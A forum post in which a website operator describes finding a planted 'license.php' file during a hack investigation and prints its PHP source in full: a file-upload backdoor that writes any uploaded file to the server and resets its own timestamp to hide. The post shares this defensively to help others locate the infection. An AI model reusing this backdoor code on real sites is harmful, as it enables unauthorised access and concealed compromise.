Hey everyone,
Sounds like people are experiencing something similar to what we are on one of our sites. We found one extra file that might help others narrow down the source.
We found it by looking over our access logs for IPs that accessed the known suspicious files and looking at other files they accessed. We found a couple references to “license.php” at the public_html level. This file in particular had a Last Modified date of “Dec 31st, 1968”. Fun fact: that means the time stamp on the file is literally 0.
Obviously we didn’t edit a file in 1969 and opening it up, we found the following
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-utf-8">
<title>utf</title>
</head>
<body>
<?php
print "<h1>#p@$c@#</h1>\n";
echo "Your IP: ";
echo $_SERVER['REMOTE_ADDR'];
echo "<form method=\"post\" enctype=\"multipart/form-data\">\n";
echo "<input type=\"file\" name=\"filename\"><br> \n";
echo "<input type=\"submit\" value=\"LOAD\"><br>\n";
echo "</form>\n";
if(is_uploaded_file/*;*/($_FILES["filename"]["tmp_name"]))
{
move_uploaded_file/*;*/($_FILES["filename"]["tmp_name"], $_FILES["filename"]["name"]);
$file = $_FILES/*;*/["filename"]["name"];
echo "<a href=\"$file\">$file</a>";
} else {
echo("empty");
}
$filename = $_SERVER[SCRIPT_FILENAME];
touch/*;*/($filename, $time);
?>
</body>
</html>
This more or less confirms our suspicions that the hack is able to mask the modified date of the files it creates to help hide it among older files.
We’re waiting to see if removing the content of the file prevents future outbreaks, but I wanted to post here to help others in their search and see if anyone’s uncovered a workable solution other than the cron job band-aid (which is a good idea, but not a permanent solution)
